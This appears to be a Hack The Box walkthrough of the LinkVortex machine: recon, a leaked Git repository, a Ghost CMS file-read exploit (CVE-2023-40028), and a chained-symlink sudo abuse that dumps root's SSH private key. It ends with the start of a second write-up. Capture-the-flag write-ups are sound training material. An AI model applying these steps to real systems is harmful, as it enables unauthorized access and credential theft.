HTB – Linkvortex

HTB – Linkvortex

https://www.hackthebox.com/machines/LinkVortex


Reconnaissance

nmap/TCP

nmap finds two open TCP ports, SSH (22) and HTTP (80):

croc@hacker$ rustscan -a 10.10.11.47 --ulimit 5000 -- -A -T5 -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.47:22
Open 10.10.11.47:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,80 10.10.11.47

Nmap scan report for linkvortex.htb (10.10.11.47) 
Host is up, received syn-ack (0.25s latency).
Scanned at 2025-01-05 08:59:07 EST for 25s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
|   256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open  http    syn-ack Apache httpd
|_http-server-header: Apache
|_http-generator: Ghost 5.58
|_http-title: BitByBit Hardware
| http-methods: 
|_  Supported Methods: POST GET HEAD OPTIONS
| http-robots.txt: 4 disallowed entries 
|_/ghost/ /p/ /email/ /r/
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap/UDP

Found nothing of interest in the UDP Scan:

croc@hacker$ sudo nmap -sU --top-ports 500 -T3 -oN MainUDPScan linkvortex.htb        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 09:11 EST
Stats: 0:08:16 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 96.40% done; ETC: 09:20 (0:00:19 remaining)
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.23s latency).
Not shown: 499 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 542.91 seconds

Ghost Version – 5.58

Enumerating on the Ghost Version, I found the following exploit on GitHub:

GitHub – 0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028: CVE-2023-40028 affects Ghost, an open source content management system, where versions prior to 5.59.1 allow authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system.
CVE-2023-40028 affects Ghost, an open source content management system, where versions prior to 5.59.1 allow authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. – 0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
github.com

But, it requires a pair of credentials to work which we don’t have currently. So, just keep that in your back pocket for now.

Website – 80/TCP

Main Page

Directory Busting

Directory Enumeration didn’t reveal anything of interest:

croc@hacker$ sudo dirsearch -u http://linkvortex.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt


  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 20476

Output File: /home/kali/HTB/linkvortex/reports/http_linkvortex.htb/_25-01-05_09-02-47.txt

Target: http://linkvortex.htb/

[09:02:47] Starting: 
[09:03:23] 200 -    1KB - /LICENSE
[09:04:05] 301 -  179B  - /assets  ->  /assets/
[09:04:52] 404 -    7KB - /cgi-bin/
[09:06:25] 200 -   15KB - /favicon.ico
[09:09:45] 301 -  183B  - /partials  ->  /partials/
[09:11:13] 200 -  103B  - /robots.txt
[09:11:45] 403 -  199B  - /server-status
[09:12:05] 200 -  257B  - /sitemap.xml

Task Completed

/robots.txt

/ghost

I found a login page here:

Brute Forcing won’t give any benefit because ghost is rate limited by default. Let’s enumerate further!

theHarvester

I found a bunch of usernames here along with a subdomain host:

croc@hacker$ theHarvester -d linkvortex.htb -b bing
Read proxies.yaml from /home/kali/.theHarvester/proxies.yaml
*******************************************************************
*  _   _                                            _             *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* theHarvester 4.6.0                                              *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*                                                                 *
*******************************************************************

[*] Target: linkvortex.htb 

Read api-keys.yaml from /home/kali/.theHarvester/api-keys.yaml
	Searching 0 results.
[*] Searching Bing. 

[*] No IPs found.

[*] Emails found: 3
----------------------
admin@linkvortex.htb
bob@linkvortex.htb
dev@linkvortex.htb

[*] Hosts found: 1
---------------------
dev.linkvortex.htb

I indeed verified the presence of dev.linkvortex.htb using ffuf:

croc@hacker$ ffuf -c -u http://linkvortex.htb/ -H "Host: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -fc 301 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 288ms]
:: Progress: [653910/653910] :: Job [1/1] :: 142 req/sec :: Duration: [2:30:27] :: Errors: 1519 ::

dev.linkvortex.htb

Site

Oops I forgot to add it in hosts file:

Now, we can see it:

Directory Enumeration

Directory Enumeration revealed the .git directory which is known to contain some really sensitive stuff.

croc@hacker$ sudo dirsearch -u http://dev.linkvortex.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt


  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 20476

Output File: /home/kali/HTB/linkvortex/linkvortex.htb/reports/http_dev.linkvortex.htb/_25-01-05_11-59-05.txt

Target: http://dev.linkvortex.htb/

[11:59:05] Starting: 
[11:59:10] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/

Task Completed

/.git

Dumping the .git directory

git-dumper

We will be using git-dumper tool inside of a Python Virtual Environment to dump this .git directory. We’re using a Virtual Environment as they’re externally managed by apt inside of Kali Linux leaving the default environment untouched. Use the following commands to set it up:

virtualenv my_git
cd my_git
source ./bin/activate
python3 -m pip install git-dumper

Now, I will dump this .git directory into a directory we named as loot:

(my_git)croc@hacker$ git-dumper http://dev.linkvortex.htb/.git loot

[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

(my_git)croc@hacker$ ls
bin  lib  loot  pyvenv.cfg

(my_git)croc@hacker$ cd loot      
                                                                                                                         
(my_git)croc@hacker$ ls
apps  Dockerfile.ghost  ghost  LICENSE  nx.json  package.json  PRIVACY.md  README.md  SECURITY.md  yarn.lock

(my_git)croc@hacker$ deactivate 

Dumping the Secrets from loot

gitleaks

In order to dump secrets like passwords, api keys, etc. out of this loot directory, we’ll be using another tool called gitleaks. You need to have two things to get going:

1. Download latest release for your system from:

Releases · gitleaks/gitleaks · GitHub
Find secrets with Gitleaks 🔑. Contribute to gitleaks/gitleaks development by creating an account on GitHub.
github.com

2. Download gitleaks.toml file from:

gitleaks/config at master · gitleaks/gitleaks · GitHub
Find secrets with Gitleaks 🔑. Contribute to gitleaks/gitleaks development by creating an account on GitHub.
github.com

I have saved both of these into my /opt/gitleaks folder and will be using it from there while pointing to the loot directory.

croc@hacker:/opt/gitleaks$ sudo ./gitleaks -c gitleaks.toml -r findings.json dir /home/croc/HTB/linkvortex/git/my_git/loot

    
    │╲
     
     
        gitleaks

10:20AM INF scanned ~31628339 bytes (31.63 MB) in 9.59s
10:20AM WRN leaks found: 67

Findings.json

I found a password here:

croc@hacker:/opt/gitleaks$ cat findings.json | grep -n password  
1008:  "Match": "password = 'OctopiFociPilfer45'",

This password was found inside the /ghost/core/test/regression/api/admin/authentication.test.js file & is most likely the password for the admin account.

Logging into Ghost Admin Dashboard

Let’s try to log in into the Ghost Admin Dashboard with the password found:

And, I got in!! Hohooo!!

Shell as Bob

Recall the exploit we found at the very start that required a pair of credential to work. Now, as we have a pair of valid credentials, let’s test that out!

Exploiting Ghost CMS – 5.58

Cloning the Repo

croc@hacker$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
Cloning into 'Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 20 (delta 3), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (20/20), 8.38 KiB | 329.00 KiB/s, done.
Resolving deltas: 100% (3/3), done.
                                                                                                                         
croc@hacker$ cd Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028 
                                                                                                                         
croc@hacker$ ls -la
total 16
drwxrwxr-x 2 croc croc 4096 Jan 11 02:42 .
drwxrwxr-x 7 croc croc 4096 Jan  8 08:39 ..
-rwxrwxr-x 1 croc croc 3166 Jan  7 10:49 CVE-2023-40028
-rw-rw-r-- 1 croc croc 3076 Jan  7 10:49 README.md

croc@hacker$ ./CVE-2023-40028 
Usage: ./CVE-2023-40028 -u <username> -p <password> -h <host_url>
Example: ./CVE-2023-40028 -u admin -p admin123 -h http://127.0.0.1

This exploit will take benefit of a vulnerability in the Ghost CMS to read arbitrary files from the server. You can read more at the GitHub page.

Read File Access

We tried the pair of credentials we found above & it worked!

croc@hacker$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit):

We have arbitrary file read access. I can see the /etc/passwd file:

Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Enumerating Ghost Config Files

Researching about Ghost on Google & AI, I found /var/www/ghost/config.production.json file to be a sensitive configuration file but, unfortunately this file doesn’t exist here.

Enter the file path to read (or type 'exit' to quit): /var/www/ghost/config.production.json
File content:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>

Upon further searching, I found out that sometimes when Ghost might be installed via Docker, paths may differ based on the container configuration. In such cases, configuration files are often mounted in /var/lib/ghost/ or similar directories. So, I tried that out and guess what, this file exists and revealed the password for bob@linkvortex.htb.

Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

SSH

I gained initial shell access with the above set of credential via ssh:

croc@hacker$ ssh bob@10.10.11.47
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes                    
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec  3 11:41:50 2024 from 10.10.14.62

bob@linkvortex:~$ 

user.txt

bob@linkvortex:~$ cat user.txt 
8e1b7786cc5*********************

Shell as Root

Enumeration

Sudo Privileges

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Bob can execute clean_symlink.sh as sudo without a password. The *.png is a shell glob pattern that allows Bob to run the script on any .png file. Additionally, the CHECK_CONTENT environment variable is preserved, meaning its value remains available inside the script even when executed with sudo.

Let’s see what that bash file is doing.

clean_symlink.sh

Note that we do not have write permissions to the file:

bob@linkvortex:~$ ls -la /opt/ghost/clean_symlink.sh
-rwxr--r-- 1 root root 745 Nov  1 08:46 /opt/ghost/clean_symlink.sh

Here’s the script inside this file:

bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

In a nutshell, the script detects symbolic links in .png files. If the link points to a sensitive location (/etc or /root), it gets removed. Otherwise, the .png file is moved to a quarantine folder at /var/quarantined, and its content may be displayed if CHECK_CONTENT=true.

Let me give you a practical demonstration of how this is working.

Testing the Functionality

I created a file intro.txt where I put my introduction in German(Just for fun). Then, I created a symbolic link named test.png pointing to intro.txt.

bob@linkvortex:~$ echo "Hallo! Ich bin Haseeb und ich komme aus Pakistan. Ich bin student im universitat" > intro.txt  

bob@linkvortex:~$ ln -s /home/bob/intro.txt test.png

bob@linkvortex:~$ ls -la
total 40
drwxr-x--- 5 bob  bob  4096 Feb 23 19:26 .
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ..
lrwxrwxrwx 1 root root    9 Apr  1  2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob  bob   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Jan  6  2022 .bashrc
drwx------ 2 bob  bob  4096 Nov  1 08:40 .cache
drwx------ 3 bob  bob  4096 Feb 22 22:39 .gnupg
drwxrwxr-x 3 bob  bob  4096 Feb 22 22:48 .local
-rw-r--r-- 1 bob  bob   807 Jan  6  2022 .profile
-rw-rw-r-- 1 bob  bob    81 Feb 23 19:25 intro.txt
lrwxrwxrwx 1 bob  bob    19 Feb 23 19:26 test.png -> /home/bob/intro.txt
-rw-r----- 1 root bob    33 Feb 22 21:58 user.txt

After that, I fed the test.png file into the clean_symlink.sh script with CHECK_CONTENT=true. This gave the content of intro.txt file as output:

bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/test.png 
Link found [ /home/bob/test.png ] , moving it to quarantine
Content:
Hallo! Ich bin Haseeb und ich komme aus Pakistan. Ich bin student im universitat

This printed out the contents of intro.txt file we created above.

💡 Think Box

Our target is /root/root.txt but we can’t directly create a symbolic link to that because the clean_symlink.sh script removes direct symbolic links pointing to sensitive locations (e.g., /root/ or /etc). However, there is a workaround for this.

Workaround

The above script only checks for the first level of the symlink. Instead of directly creating a symlink to /root/root.txt, we can try doing it in two steps.

exploit.png → /home/bob/supportmeonpatreon.txt → /root/root.txt

First, I created a symlink named supportmeonpatreon.txt pointing to /root/root.txt & then I created another symlink named exploit.png pointing to /home/bob/supportmeonpatreon.txt.

bob@linkvortex:~$ ln -s /root/root.txt supportmeonpatreon.txt
 
bob@linkvortex:~$ ln -s /home/bob/supportmeonpatreon.txt exploit.png

bob@linkvortex:~$ ls -la
total 28
drwxr-x--- 3 bob  bob  4096 Jan 11 08:21 .
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ..
lrwxrwxrwx 1 root root    9 Apr  1  2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob  bob   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Jan  6  2022 .bashrc
drwx------ 2 bob  bob  4096 Nov  1 08:40 .cache
-rw-r--r-- 1 bob  bob   807 Jan  6  2022 .profile
lrwxrwxrwx 1 bob  bob    32 Jan 11 08:21 exploit.png -> /home/bob/supportmeonpatreon.txt
lrwxrwxrwx 1 bob  bob    14 Jan 11 08:20 supportmeonpatreon.txt -> /root/root.txt
-rw-r----- 1 root bob    33 Jan 11 02:35 user.txt

Next, I ran the exploit.png file through the clean_symlink.sh script with CHECK_CONTENT=true, successfully obtaining the root flag.

bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/exploit.png 
Link found [ /home/bob/exploit.png ] , moving it to quarantine
Content:
ba8bce*********************

Post Root

SSH

We got the root flag but lack a consistent shell session. Luckily, I found a SSH Private Key for the root user:

bob@linkvortex:~$ ln -s /root/.ssh/id_rsa ssh_key
bob@linkvortex:~$ ln -s /home/bob/ssh_key letmein.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/letmein.png 
Link found [ /home/bob/letmein.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Using the Private Key, I gained SSH access as the root user for a consistent shell access.

croc@hacker:~/HTB/linkvortex$ chmod 600 id_rsa 
                                                                                                                         
croc@hacker:~/HTB/linkvortex$ ssh -i id_rsa root@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Feb 23 03:14:49 2025 from 10.10.16.6
root@linkvortex:~# whoami
root

root@linkvortex:~# ls
root.txt

HTB – Certified

HTB – Certified

https://www.hackthebox.com/machines/Certified


Reconnaissance

Given Credentials

As it is common in real life windows pentests, we’re given a set of credentials to start:

judith.mader / judith09

nmap/TCP

croc@hacker$ rustscan -a 10.10.11.41 --ulimit 5000 -- -A -T5 -Pn -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.41:53
Open 10.10.11.41:88
Open 10.10.11.41:135
Open 10.10.11.41:139
Open 10.10.11.41:389
Open 10.10.11.41:445
Open 10.10.11.41:464
Open 10.10.11.41:593
Open 10.10.11.41:636
Open 10.10.11.41:3268
Open 10.10.11.41:3269
Open 10.10.11.41:9389
Open 10.10.11.41:49666
Open 10.10.11.41:49668
Open 10.10.11.41:49671
Open 10.10.11.41:49674
Open 10.10.11.41:49677
Open 10.10.11.41:49716
Open 10.10.11.41:49741
Open 10.10.11.41:49774
